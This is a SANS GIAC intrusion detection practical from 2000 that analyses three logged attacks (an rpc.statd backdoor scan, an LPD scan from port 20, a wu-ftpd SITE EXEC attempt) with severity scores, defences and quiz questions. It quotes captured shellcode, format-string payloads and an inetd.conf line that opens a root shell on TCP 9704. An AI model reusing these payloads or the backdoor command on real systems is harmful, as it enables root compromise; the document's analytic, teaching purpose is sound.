Global Information Assurance Certification Paper

GIAC

Intrusion Detection Curriculum
Practical Assignment v2.2.5

Mark Gryparis

SANS Network Security 2000
Monterey, CA - October 2000

ASSIGNMENT 1 Network Detect

1.1 Detect #1: SYN/FIN scan for a system already compromised by rpc.statd exploit

```
Oct 29 23:39:49 router 30199: list 101 denied tcp
  216.103.84.187(9704) -> a.b.193.101(9704), 1 packet
Oct 29 23:39:49 router 30200: list 101 denied tcp
  216.103.84.187(9704) -> a.b.193.124(9704), 1 packet
Oct 29 23:39:49 router 30201: list 101 denied tcp
  216.103.84.187(9704) -> a.b.193.125(9704), 1 packet
[...]
Oct 29 23:40:21 router 30215: list 101 denied tcp
  216.103.84.187(9704) -> a.b.199.189(9704), 1 packet
Oct 29 23:40:21 router 30216: list 101 denied tcp
  216.103.84.187(9704) -> a.b.199.190(9704), 1 packet
Oct 29 23:40:22 router 30217: list 101 denied tcp
  216.103.84.187(9704) -> a.b.199.252(9704), 1 packet
-----------------------------------------------------------
[**] IDS198/SYN FIN Scan [**]
10/30-16:17:28.818059 216.103.84.187:9704 -> a.c.205.138:9704
  TCP TTL:26 TOS:0x0 ID:39426
  **SF**** Seq: 0x6D317CE6 Ack: 0x3FCCD487 Win: 0x404
  00 00 00 00 00 00 ......
-----------------------------------------------------------
10/31-12:49:09.672439 216.103.84.187:9704 -> a.d.53.33:9704
  TCP TTL:23 TOS:0x0 ID:39426
  **SF**** Seq: 0x41D1E8D5 Ack: 0x118A5F74 Win: 0x404
10/31-12:49:09.701743 216.103.84.187:9704 -> a.d.53.35:9704
  TCP TTL:25 TOS:0x0 ID:39426
  **SF**** Seq: 0x41D1E8D5 Ack: 0x118A5F74 Win: 0x404
10/31-12:49:09.833783 216.103.84.187:9704 -> a.d.53.45:9704
  TCP TTL:24 TOS:0x0 ID:39426
  **SF**** Seq: 0x41D1E8D5 Ack: 0x118A5F74 Win: 0x404
10/31-12:49:10.298602 216.103.84.187:9704 -> a.d.53.68:9704
  TCP TTL:23 TOS:0x0 ID:39426
  **SF**** Seq: 0x70256AEC Ack: 0x4747BDC0 Win: 0x404
10/31-12:49:10.509585 216.103.84.187:9704 -> a.d.53.78:9704
  TCP TTL:24 TOS:0x0 ID:39426
  **SF**** Seq: 0x70256AEC Ack: 0x4747BDC0 Win: 0x404
10/31-12:49:10.721591 216.103.84.187:9704 -> a.d.53.81:9704
  TCP TTL:23 TOS:0x0 ID:39426
  **SF**** Seq: 0x70256AEC Ack: 0x4747BDC0 Win: 0x404
```

1.1.1 Source of the Trace

SANS/GIAC Homepage (http://www.sans.org/y2k/110600.htm), posted by Klaus Steding-Jessen

1.1.2 Detect was generated by:

The first portion of the trace was generated by a Cisco Router, presumably a border router, logging ACL denials. The ACL was not posted, so we don't know what other rules exist, and therefore what other attack packets may have made it through on this day (10/29/00). One can hope – but not assume - that the router's ACLs implement a default-deny-all policy.

The fields in the Cisco ACLs log entries are:

```
Oct 29 23:39:49 router 30199: list 101 denied tcp
  216.103.84.187(9704) -> a.b.193.101(9704), 1 packet
```

- Date and Time (`Oct 29 23:39:49`)
- Router Name (`router`)
- Log Entry # (`30199`)
- Number of the Access List that triggered the log entry (`list 101`)
- Action taken (`denied`)
- Protocol (`tcp`)
- Source IP Address and Port (`216.103.84.187(9704)`)

- Destination IP Address and Port (`a.b.193.101(9704)`)
- Number of packets taken action upon (`1 packet`)

The second and third portions of the trace were generated by Snort triggering on a SYN/FIN scan. The Snort ruleset used was also not posted, however Snort's "standard" ruleset and "Many False Alerts" ruleset do not contain anything that would trigger on TCP 9704. This means that – had the router ACLs not been in place - a machine may have answered the probe and the answer would not have been detected by Snort.

The fields in the Snort log entries are:

```
10/31-12:49:09.672439 216.103.84.187:9704 -> a.d.53.33:9704
  TCP TTL:23 TOS:0x0 ID:39426
  **SF**** Seq: 0x41D1E8D5 Ack: 0x118A5F74 Win: 0x404
```

- Date and Time (`10/31-12:49:09.672439`)
- Source IP Address and Port (`216.103.84.187:9704`)
- Destination IP Address and Port (`a.d.53.33:9704`)
- Transport layer protocol encapsulated in this IP packet (`TCP`)
- IP Time-to-Live counter value (`TTL:23`)
- IP Type-of-Service Flags set (`TOS:0x0`)
- IP ID Number (`ID:39426`)
- TCP Flags (`**SF****`)
- TCP Sequence Number(`Seq: 0x41D1E8D5`)
- TCP Acknowledgement Number (`Ack: 0x118A5F74`)
- TCP Window Size (`Win: 0x404`)

1.1.3 Probability the Source Address was Spoofed

Probably not spoofed. The attacker appears to be doing reconnaissance to find a compromised machine. If so, he/she needs the response to come back to the machine from which the probe was launched, in order to find and exploit a target

1.1.4 Description of the Attack

The 'attack' detected was simply a fast reconnaissance scan: a probe for a machine already compromised by another hacker. The attacker is a hyena looking for a lion's kill from which to pick up leftovers.

1.1.5 Attack Mechanism

The probe was executed as a SYN/FIN scan for a particular port on various IP addresses on the home network. The intent was probably to find backdoor listening on TCP 9704, without completing the TCP handshake and getting logged at the host.

The exploit being probed for is far more interesting that the probe itself: The target being sought is a machine already compromised through an Input Validation vulnerability in rpc.statd (Bugtraq ID# 1408, CVE-2000-0666). rpc.statd passes user-supplied data to the syslog() function when calling it. On particular OSs, a lack of proper input string validation in rpc.statd allows a malicious user to execute arbitrary code at the privilege level of rpc.statd, which is usually root on the affected systems (various versions of Connectiva, Debian, S.u.S.E, Trustix and Caldera Linux). This particular exploit then executes commands that start an interactive root shell listening on TCP 9704. This is not a traditional buffer overflow attack. Instead, it uses a trick to execute user-defined code within the bounds of syslog()'s buffer. Below is a log message from a compromised host that shows the exploit occurring (found on http://www.cert.org/advisories/CA-2000-17.html)

```
Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F
```

```
^F^G^G08049f10
bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f
20656d61 746e6f63 696e6961 2720676e 203a272f
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff7
040000000000000000000000000000000000000000000000bffff7050000bffff706000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v

<83> <8D>^(<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^
1<83>
<88>F'<88>F*<83> <88>F<89>F+,
<89><8D>N<8D>V<80>1<89>@<80>/bin
/sh -c echo 9704 stream tcp
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd
```

The last two lines show the backdoor being installed. First, the line "**9704 stream tcp nowait root /bin/sh sh -i**" is appended to inetd.conf, and then inetd is restarted. This results in an interactive root shell listening on TCP 9704. The attacker is then free to telnet to that port and - voilá.

1.1.6 Correlations

Locally, this probing attempt was detected by the victim network at both the border router and by a Snort sensor (possibly one setup hastily the next day to confirm the router detects.)

This detect was correlated by Laurie@.edu four days later as shown by the trace below (from http://www.sans.org/y2k/110800.htm):

```
Nov  2 09:42:06 hostmau Connection attempt to
  TCP z.y.x.28:9704 from 216.103.84.187:9704
Nov  2 09:42:06 hostmau snort[63106]: SCAN-SYN FIN:
  216.103.84.187:9704 -> z.y.x.28:9704
Nov  2 09:42:09 hostmau snort[63106]: SCAN-SYN FIN:
  216.103.84.187:9704 -> z.y.x.189:9704
Nov  2 09:42:10 hostmau snort[63106]: SCAN-SYN FIN:
  216.103.84.187:9704 -> z.y.x.224:9704
Nov  2 09:44:12 hosty snort[71679]: SCAN-SYN FIN:
  216.103.84.187:9704 -> z.y.w.34:9704
Nov  2 09:44:12 hostj snort[24697]: SCAN-SYN FIN:
  216.103.84.187:9704 -> z.y.w.66:9704
Nov  2 09:44:13 hostmi snort[23025]: SCAN-SYN FIN:
  216.103.84.187:9704 -> z.y.w.98:9704
```

Laurie saw the same pattern coming from the same source IP address (more evidence that the source address was not spoofed).

1.1.7 Evidence of Active Targeting

This traffic is not targeting a specific host, but it is not random, lost or misdirected packets. This looks like a scan through a network for a vulnerable target, as supported by the following points:

- Network Scan-like Behavior — The IP addresses targeted are not consecutive, but they are ascending through a subnet. The target IPs may have been randomly/arbitrarily chosen, or a network mapping effort may have preceded this probe so that only IPs with hosts listening were probed. (The posted trace and description does not say if there were live hosts at these addresses.)

  Laurie@.edu's correlation shows the same behavior. The different number of skipped IPs in the ascending consecutive network scan provides a further hint of prior host mapping reconnaissance.

- Destination Port TCP 9704 — This port is known to be used by a backdoor exploit, and therefore immediately suspicious.
- PacketCraft Clue #1: — The IP ID Number is the same in all packets: 39426. Definite evidence that the packets were explicitly crafted.
- PacketCraft Clue #2: — Although the probe packets do change TCP sequence and ACK numbers occasionally, they do hit multiple hosts with the identical Sequence and ACK numbers. This means that the repetition of Sequence and ACK numbers are NOT the result of TCP retries – more evidence that the packets were explicitly crafted.

1.1.8 Severity

Severity = (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality:	1 – No specific host is being targeted, but this attacker may have already mapped this network
Lethality:	5 – Attacker can remotely gain root access
System Countermeasures:	0 – Unknown, so we assume the worst
Network Countermeasures:	5 – The router ACLs blocked this attack, but may have already allowed the attacker to map this network

Severity = (1 + 5) – (0 + 5) = 6 – 5 = 1

1.1.9 Defensive Recommendations

- Look for evidence of a prior IP mapping effort
- Look for any other traffic from this IP address
- Make sure that any hosts running the vulnerable OSs are up-to-date on their security patches, and that their Admins are educated on this exploit
- Consider blocking this IP address or network from accessing your network
- Mantra #1: Implement a default-deny-all policy for the perimeter, if possible/not already in place
- Mantra #2: Implement a firewall/proxy architecture for the perimeter, if possible/not already in place
- Mantra #3: Implement defense-in-depth, if possible/not already in place (hardened OSs, wrappers, firewalled internal enclaves, internal IDSs, well-educated System Admins, good and open communications between Net Admins, Sys Admins and Security, etc.)
- Mantra #4: Get buy-in from Management, if possible/not already in place

1.1.10 Multiple Choice Test Question

What can be read into the choice of IP addresses targeted in the trace below?

```
[**] IDS198/SYN FIN Scan [**]
10/31-12:49:09.672439 216.103.84.187:9704 -> a.d.53.33:9704
  TCP TTL:23 TOS:0x0 ID:39426
  **SF**** Seq: 0x41D1E8D5 Ack: 0x118A5F74 Win: 0x404
10/31-12:49:09.701743 216.103.84.187:9704 -> a.d.53.35:9704
  TCP TTL:25 TOS:0x0 ID:39426
  **SF**** Seq: 0x41D1E8D5 Ack: 0x118A5F74 Win: 0x404
10/31-12:49:09.833783 216.103.84.187:9704 -> a.d.53.45:9704
  TCP TTL:24 TOS:0x0 ID:39426
  **SF**** Seq: 0x41D1E8D5 Ack: 0x118A5F74 Win: 0x404
10/31-12:49:10.298602 216.103.84.187:9704 -> a.d.53.68:9704
  TCP TTL:23 TOS:0x0 ID:39426
  **SF**** Seq: 0x70256AEC Ack: 0x4747BDC0 Win: 0x404
10/31-12:49:10.509585 216.103.84.187:9704 -> a.d.53.78:9704
  TCP TTL:24 TOS:0x0 ID:39426
  **SF**** Seq: 0x70256AEC Ack: 0x4747BDC0 Win: 0x404
10/31-12:49:10.721591 216.103.84.187:9704 -> a.d.53.81:9704
  TCP TTL:23 TOS:0x0 ID:39426
```

```
**SF**** Seq: 0x70256AEC Ack: 0x4747BDC0 Win: 0x404
```

a) Nothing - this is not an attack
b) They do not appear to be random
c) They were probably generated randomly by a scanning tool
d) A network map may have preceded this reconnaissance
e) B and D
f) None of the above

[Correct Answer: **e**]

1.2 Detect #2: SYN Scan for Open LP Ports

```
[**] IDS06 - MISC-Source Port Traffic 20 TCP [**]
10/31-18:47:21.973424 208.184.219.253:20 -> x.x.x.2:515
TCP TTL:244 TOS:0x0 ID:59824
**S***** Seq: 0x1000000 Ack: 0x0 Win: 0x3FFF

[**] IDS06 - MISC-Source Port Traffic 20 TCP [**]
10/31-18:47:53.157274 208.184.219.253:20 -> x.x.x.4:515
TCP TTL:244 TOS:0x0 ID:25472
**S***** Seq: 0x1000000 Ack: 0x0 Win: 0x3FFF

[**] IDS06 - MISC-Source Port Traffic 20 TCP [**]
10/31-18:52:02.641247 208.184.219.253:20 -> x.x.x.20:515
TCP TTL:244 TOS:0x0 ID:12802
**S***** Seq: 0x1000000 Ack: 0x0 Win: 0x3FFF

[**] IDS06 - MISC-Source Port Traffic 20 TCP [**]
10/31-19:03:59.876453 208.184.219.253:20 -> x.x.x.66:515
TCP TTL:244 TOS:0x0 ID:9143
**S***** Seq: 0x1000000 Ack: 0x0 Win: 0x3FFF
```

1.2.1 Source of the Trace

SANS/GIAC Homepage (http://www.sans.org/y2k/110200-1430.htm), posted by Patrick Prue

1.2.2 Detect was generated by:

This detect was generated by Snort, triggering on a source port of 20 (FTP Data) which is a rule in Snort's standard ruleset ("Misc." Section). The version of Snort used was not posted

The fields in the Snort log entries are:

```
10/31-18:47:21.973424 208.184.219.253:20 -> x.x.x.2:515
TCP TTL:244 TOS:0x0 ID:59824
**S***** Seq: 0x1000000 Ack: 0x0 Win: 0x3FFF
```

- Date and Time (10/31-18:47:21.973424)
- Source IP Address and Port (208.184.219.253:20)
- Destination IP Address and Port (x.x.x.2:515)
- Transport layer protocol encapsulated in this IP packet (TCP)
- IP Time-to-Live counter value (TTL:244)
- IP Type-of-Service Flags set (TOS:0x0)
- IP ID Number (ID:59824)
- TCP Flags (**S*****)
- TCP Sequence Number(Seq: 0x1000000)
- TCP Acknowledgement Number (Ack: 0x0)
- TCP Window Size (Win: 0x3FFF)

1.2.3 Probability the Source Address was Spoofed

Probably not spoofed. This appears to be a reconnaissance scan coming from one IP address. For the attacker to collect the reconnaissance information, he/she must receive the information.

1.2.4 Description of the Attack

This is a SYN scan coming from TCP Port 20 (FTP Data) looking for a host listening on TCP 515, which is normally the LPD port. There are known vulnerabilities on several systems that, if found, could be exploited.

1.2.5 Attack Mechanism

This attack is an attempt at stealthy reconnaissance. The packets are coming from TCP Port 20, which may be an attempt to sneak in through a non-stateful, packet-filtering firewall configured to allow non-PASV FTPs.

The vulnerability being targeted is LPD. There are two (contemporary) products with LPD vulnerabilities that can be exploited by remote attackers:

a) Microsoft Windows NT and Windows 2000: Print Services for Unix
(Bugtraq ID# 1082, CVE CAN-2000-0232. Following info from http://www.sans.org/newlook/digests/ntarchives/040300.htm)
This is a DoS vulnerability in Microsoft's LPD service. An attacker can crash the TCPSVC.EXE service/daemon by sending specially malformed requests to port 515. Several other services are dependant on TCPSVC, and would also crash:
- SimpTCP Simple TCP/IP Service
- DHCPServer DHCP Service
- FTPSvc FTP Service
- LPDSvc LPD Service
- BinlSvc Boot Information Negotiation Layer Service

Of particular concern is the DHCP service. An attacker who hit this vulnerability on a DHCP server could affect an entire Windows 2000 LAN. (Details and patch available on http://www.microsoft.com/technet/security/bulletin/fq00-021.asp)

b) WinCOM LPD v1.00.90 for Microsoft Windows NT
(Bugtraq ID# 1701, CVE CAN-2000-0839. Following info from http://www.ntsecurity.net/Articles/Index.cfm?ArticleID=15655)
This is a DoS vulnerability on a WinCOM LPD, a third-party LPD service for Windows NT. An attacker can use up all available memory on the Window NT host by sending a constant stream of LPD options to TCP 515 (Product info available at http://eshop.softklone.co.uk/comms/wclpd.htm)

It is also worth noting that LPD is one of the "Miscellaneous Services" that SANS recommends blocking at the security perimeter (http://www.sans.org/topten.htm, Appendix B)

1.2.6 Correlations

There have not yet been any correlations of this Source IP Address, nor of the use of source Port 20. However, there are several correlations of SYN scans of TCP Port 515:

Laurie@.edu (http://www.sans.org/y2k/110800-0900.htm)

```
Nov  6 04:32:05 213.11.39.75:2100 -> a.b.c.153:515 SYN ******S*
Nov  6 04:32:05 213.11.39.75:2158 -> a.b.c.211:515 SYN ******S*
Nov  6 04:32:05 213.11.39.75:2172 -> a.b.c.225:515 SYN ******S*
Nov  6 04:32:05 213.11.39.75:2254 -> a.b.d.52:515 SYN ******S*
Nov  6 04:32:06 213.11.39.75:2513 -> a.b.e.56:515 SYN ******S*
Nov  6 04:32:06 213.11.39.75:2518 -> a.b.e.61:515 SYN ******S*
Nov  6 04:32:06 213.11.39.75:2533 -> a.b.e.76:515 SYN ******S*
Nov  6 04:32:06 213.11.39.75:2536 -> a.b.e.79:515 SYN ******S*
```

Laurie@.edu (http://www.sans.org/y2k/111000-1200.htm)

```
Nov  9 03:42:18 213.11.39.75:1268 -> a.b.c.32:515 SYN ******S*
Nov  9 03:42:18 213.11.39.75:1269 -> a.b.c.33:515 SYN ******S*
Nov  9 03:42:18 213.11.39.75:1287 -> a.b.c.51:515 SYN ******S*
Nov  9 03:42:18 213.11.39.75:1307 -> a.b.c.71:515 SYN ******S*
Nov  9 03:42:18 213.11.39.75:1337 -> a.b.c.101:515 SYN ******S*
Nov  9 03:42:18 213.11.39.75:1424 -> a.b.c.188:515 SYN ******S*
Nov  9 03:42:18 213.11.39.75:1441 -> a.b.c.205:515 SYN ******S*
Nov  9 03:42:18 213.11.39.75:1543 -> a.b.d.52:515 SYN ******S*
Nov  9 03:42:18 213.11.39.75:1693 -> a.b.d.202:515 SYN ******S*
Nov  9 03:42:18 213.11.39.75:1757 -> a.b.e.11:515 SYN ******S*
```

Brian Speegle at http://www.sans.org/y2k/102400.htm (no trace posted)

1.2.7 Evidence of Active Targeting

As with the first detect, this traffic is not targeting a specific host, but it is not random, lost or misdirected packets. This looks like a scan through a network for a vulnerable target with an attempt at being stealthy, as supported by the following points:

- Network Scan-like Behavior — The IP addresses targeted are not consecutive, but they are ascending through a subnet. The target IPs may have been randomly/arbitrarily chosen, or a network mapping effort may have preceded this probe so that only IPs with hosts listening were probed. (The posted trace and description does not say if there were live hosts at these addresses.)

- Source Port TCP 20 — This is the well-known FTP Data Port. FTP sessions start with a connection from an ephemeral Client port to TCP 21 on the Server - the FTP Control Port. When the file transfer is actually initiated, a new connection is opened from an ephemeral port on the server to TCP 20 on the client. Since allowing inbound connections from arbitrary sources is insecure, firewalled environments typically force their users to use Passive FTP (which uses outbound Control and Data connections) or an FTP proxy.

  However, some sites, for various reasons, are unable to take these precautions yet are still required to support FTP. These sites would be forced to allow inbound connections to TCP 20 from arbitrary sources. The use of this Port could be an attempt to exploit this vulnerability.

- Destination Port TCP 515 — This is the well-known LPD port. Although it's not uncommon for organizations to print between sites/networks, such connections are usually few and well known. Any LP request that comes from an unknown source is suspect.

- Clue as to Intent: — There is no "normal" tool or service that initiates a session from TCP 20. This would imply that the packets were generated by a tool that allows configurable source ports, and this deceptive source port was explicitly chosen by the operator.

1.2.8 Severity

Severity = (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality:	1 – No specific host is being targeted, but this attacker may have already mapped this network
Lethality:	3 – The most likely exploits are DoS attacks
System Countermeasures:	0 – Unknown, so we assume the worst
Network Countermeasures:	2 – This network has an IDS at least. It may have more protection but we can't assume that

Severity = (1 + 3) – (0 + 2) = 4 – 2 = 2

1.2.9 Defensive Recommendation(s)

- Ensure that all unnecessary inbound connections to TCP 515 are blocked at the network perimeter
- Ensure that all NT and Win2K boxes that provide Unix printing services are patched against the LPD vulnerability – especially the Servers running DHCP!
- Replace WinCOM LPD on NT 4.0 Servers with the (patched!) Microsoft LPD services
- If possible, move LPD services from Win 95/98 boxes running WinCOM LPD to (patched!) NT Servers. If that's not possible, consider configuring WinCOM LPD to use a port other than 515.

- Mantra #1: Implement a default-deny-all policy for the perimeter, if possible/not already in place
- Mantra #2: Implement a firewall/proxy architecture for the perimeter, if possible/not already in place
- Mantra #3: Implement defense-in-depth, if possible/not already in place (hardened OSs, wrappers, firewalled internal enclaves, internal IDSs, well-educated System Admins, good and open communications between Net Admins, Sys Admins and Security, etc.)
- Mantra #4: Get buy-in from Management, if possible/not already in place

1.2.10 Multiple Choice Test Question

Why might an attacker choose the source TCP port used in the scan below?

```
[**] IDS06 - MISC-Source Port Traffic 20 TCP [**]
10/31-18:47:21.973424 208.184.219.253:20 -> x.x.x.2:515
TCP TTL:244 TOS:0x0 ID:59824
**S***** Seq: 0x1000000 Ack: 0x0 Win: 0x3FFF
10/31-18:47:53.157274 208.184.219.253:20 -> x.x.x.4:515
TCP TTL:244 TOS:0x0 ID:25472
**S***** Seq: 0x1000000 Ack: 0x0 Win: 0x3FFF
10/31-18:52:02.641247 208.184.219.253:20 -> x.x.x.20:515
TCP TTL:244 TOS:0x0 ID:12802
**S***** Seq: 0x1000000 Ack: 0x0 Win: 0x3FFF
10/31-19:03:59.876453 208.184.219.253:20 -> x.x.x.66:515
TCP TTL:244 TOS:0x0 ID:9143
**S***** Seq: 0x1000000 Ack: 0x0 Win: 0x3FFF
```

a) It's the default source port used by NMAP
b) It might successfully pass through some firewall configurations undetected
c) LPD Requests normally come from TCP 20
d) This is not a scan – it's normal FTP traffic
e) None of the above

[Correct Answer: **b**]

1.3 Detect #3: Attempted wu-ftpd Buffer Overflow compromise

```
Aug 6 13:31:16 picard ftpd[20914]: USER ftp
Aug 6 13:31:16 picard ftpd[20914]: PASS
  ...
  1À1Û1É°Fí?1À1ÛC?ÙA°?Í?ëk^1À1É ^^A^F^Df
  ¹ÿ^A°'Í?1À ^^A°=Í?1À1Û ^^H?C^B1ÉþÉ1À ^^H°^LÍ?þÉuó1À
  ^F^I ^^H°=Í?þ^N°0þÈ^F^D1À^F^G?v^H?F^L?ó N^H V^L°^KÍ
  ?1À1Û°^AÍ?è ÿÿÿ0bin0sh1..11
Aug 6 13:31:16 picard ftpd[20914]: ANONYMOUS FTP LOGIN
  FROM kipo3.dsl.concentric.net [207.88.31.242],
  ...
  1À1Û1É°Fí?1À1ÛC?ÙA°?Í?ëk^1À1É ^^A^F^Df¹ÿ^A°'
  Í?1À ^^A°=Í?1À1Û ^^H?C^B1ÉþÉ1À ^^H°^LÍ?þÉuó1À^F^I ^^
  H°=Í?þ^N°0þÈ^F^D1À^F^G?v^H?F^L?ó N^H V^L°^KÍ?1À1Û°^A
  Í?è ÿÿÿ0bin0sh1..11
Aug 6 13:31:19 picard ftpd[20914]: SITE EXEC (lines: 0):
  xx(°ÿ¿%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
  .f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
  f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f %.f%.f%.f%.f%.
  f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p
Aug 6 13:31:19 picard ftpd[20914]: FTP session closed
Aug 6 13:31:21 picard tcplog: ftp connection attempt
  from kipo3.dsl.concentric.net
```

1.3.1 Source of the Trace

SANS/GIAC Homepage (http://www.sans.org/y2k/080800.htm) posted by Mike Black. Mike also states that this attack was recorded against three machines on his network almost simultaneously (down to the second.)

1.3.2 Detect was generated by:

This detect consists of log entries from an ftpd. It appears to be recording (at least) every connection attempt and command issued

1.3.3 Probability the Source Address was Spoofed

Probably not spoofed. This appears to be a "live" exploit attempt

1.3.4 Description of the Attack

The attacker first found a machine that he/she thought was vulnerable to an exploit of it's wu-ftpd (or derived) FTP server. There may have been previous reconnaissance, including possible fingerprinting of the FTP server, the OS, or even social engineering. The attack consists of connecting to the FTP server, as either an actual user account or as anonymous, and sending the server malicious code which allows the user to execute arbitrary commands as root.

1.3.5 Attack Mechanism

Washington University's wu-ftpd FTP server is vulnerable to a SITE EXEC exploit that allows the user to execute arbitrary shell code as root (Bugtraq ID# 1387, CVE CAN-2000-0573). Because the user's input is passed directly to a *printf statement, the user can craft input to overwrite stack information, and point the function to included malicious shell code. Although this is exploited as a buffer overflow, the problem is actually a lack of input validation within wu-ftpd. wu-ftpd versions 2.5 and 2.6 are vulnerable. Unfortunately, the FTP servers included in many operating systems are based on wu-ftpd, and include the same vulnerability. This includes various versions of: Caldera OpenLinux, Connectiva Linux, Debian Linux, HP-UX, RedHat Linux, Slackware Linux and TurboLinux. Also vulnerable are BSD ftpd 5.51 and BSD ftpd 5.60 (the final BSD release). The fact that an anonymous FTP user can exploit this vulnerability makes it even worse.

1.3.6 Correlations

Locally, the attack was seen simultaneously on three different machines. Other people have also seen the attack:

Jose Nazario (http://www.sans.org/y2k/080800.htm)

```
Jun 23 16:35:48 biocserver ftpd[4388]: FTP ACCESS REFUSED (anonymous
  password not rfc822) from jose @ localhost [127.0.0.1]
Jun 23 16:37:59 biocserver ftpd[4427]: FTP ACCESS REFUSED (anonymous
  password not rfc822) from jose @ localhost [127.0.0.1]
Jun 23 16:38:32 biocserver ftpd[4435]: FTP ACCESS REFUSED (anonymous
  password not rfc822) from jose @ localhost [127.0.0.1]
```

Jose Nazario again (http://www.sans.org/y2k/101800.htm)

```
Oct 13 05:26:24 host1 ftpd[3415]: ANONYMOUS FTP LOGIN FROM 209.85.33.41 [209.85.33.41],
<90><90><90><90><90><90><90><90> <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90> >1<C0>1<DB>1<C9><B0>F<CD><80>1<C0>1<DB>
C<89><D9>A<B0>?<CD><80><EB>k^1<C0>1<C9><8D>^^A<88>F^Df<B9><FF>^A<B0>
'<CD><80>1<C0><8D>^^A<B0>=<CD><80>1<C0>1<DB><8D>^^H<89>C^B1<C9><FE>
<C9>1<C0><8D>^^H<B0>^L<CD><80><FE><C9>u<F3>1<C0><88>F^I<8D>^^H<B0>=<CD>
<80><FE>^N<B0>0<FE><C8><88>F^D1<C0><88>F^G<89>v^H<89>F^L<89><F3>
<8D>N^H<8D>V^L<B0>^K<CD><80>1<C0>1<DB><B0>^A<CD><80><E8><90><FF><FF><FF> 0bin0sh1..11
```

Kent Engström (http://archives.neohapsis.com/archives/incidents/2000-08/0016.html)

```
> USER ftp
> PASS



                                                    1À1Û1É°FÍ€1À1ÛC‰ÙA°?Í€ëk^1À1É ^_^F_f¹ÿÿ_°
'Í€1À ^_°=Í€1À1Û ^_‰C11ÉþÉ1À ^_° Í€þÉuó1À^F  ^_°=Í€þ_°0þÈ^F_1À^F_‰v_‰F ‰ó N_ V °
Í€1À1Û°_Í€è ÿÿÿÿÿÿ0bin0sh1..11
> PASS



                                                    1À1Û1É°FÍ€1À1ÛC‰ÙA°?Í€ëk^1À1É ^_^F_f¹ÿÿ_°
'Í€1À ^_°=Í€1À1Û ^_‰C11ÉþÉ1À ^_° Í€þÉuó1À^F  ^_°=Í€þ_°0þÈ^F_1À^F_‰v_‰F ‰ó N_ V °
Í€1À1Û°_Í€è ÿÿÿÿÿÿ0bin0sh1..11
```

1.3.7 Evidence of Active Targeting

This is clearly an attack against a specific host. According to the trace posting, it was “an attempt”, so we can assume that it was not successful.

1.3.8 Severity

Severity = (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality:	3 – This machine is an internet-accessible FTP server
Lethality:	5 – If successful, the user would have gained root access
System Countermeasures:	5 – The host successfully resisted the attack.
Network Countermeasures:	1 – An IDS would have further correlated the attack (no trace was posted, so we have to assume there was none) An FTP proxy at the perimeter would have been even better.

Severity = (3 + 5) – (5 + 1) = 8 – 7 = 2

1.3.9 Defensive Recommendation(s)

- Ensure that no FTP server is accessible from the Internet that does not need to be

- If possible, install an FTP Proxy at the perimeter
- Ensure that all hosts with this vulnerability are patched
- Mantra #1: Implement a default-deny-all policy for the perimeter, if possible/not already in place
- Mantra #2: Implement a firewall/proxy architecture for the perimeter, if possible/not already in place
- Mantra #3: Implement defense-in-depth, if possible/not already in place (hardened OSs, wrappers, firewalled internal enclaves, internal IDSs, well-educated System Admins, good and open communications between Net Admins, Sys Admins and Security, etc.)
- Mantra #4: Get buy-in from Management, if possible/not already in place

1.3.10 Multiple Choice Test Question

What, if anything, is suspicious about the ftpd log entries below?

```
Aug 6 13:31:16 picard ftpd[20914]: USER ftp
Aug 6 13:31:16 picard ftpd[20914]: PASS
  ...
  1À1Û1É°FÍ?1À1ÛC?ÙA°?Í?ëk^1À1É ^^A^F^Df
  ¹ÿ^A°'Í?1À ^^A°=Í?1À1Û ^^H?C^B1ÉÞÉ1À ^^H°^LÍ?ÞÉuó1À
  ^F^I ^^H°=Í?Þ^N°0ÞÈ^F^D1À^F^G?v^H?F^L?ó N^H V^L°^KÍ
  ?1À1Û°^AÍ?è ÿÿÿ0bin0sh1..11
Aug 6 13:31:16 picard ftpd[20914]: ANONYMOUS FTP LOGIN
  FROM kipo3.dsl.concentric.net [207.88.31.242],
  ...
  1À1Û1É°FÍ?1À1ÛC?ÙA°?Í?ëk^1À1É ^^A^F^Df¹ÿ^A°'
  Í?1À ^^A°=Í?1À1Û ^^H?C^B1ÉÞÉ1À ^^H°^LÍ?ÞÉuó1À^F^I ^^
  H°=Í?Þ^N°0ÞÈ^F^D1À^F^G?v^H?F^L?ó N^H V^L°^KÍ?1À1Û°^A
  Í?è ÿÿÿ0bin0sh1..11
Aug 6 13:31:19 picard ftpd[20914]: SITE EXEC (lines: 0):
  xx(°ÿ¿%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
  .f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
  f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
  f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p
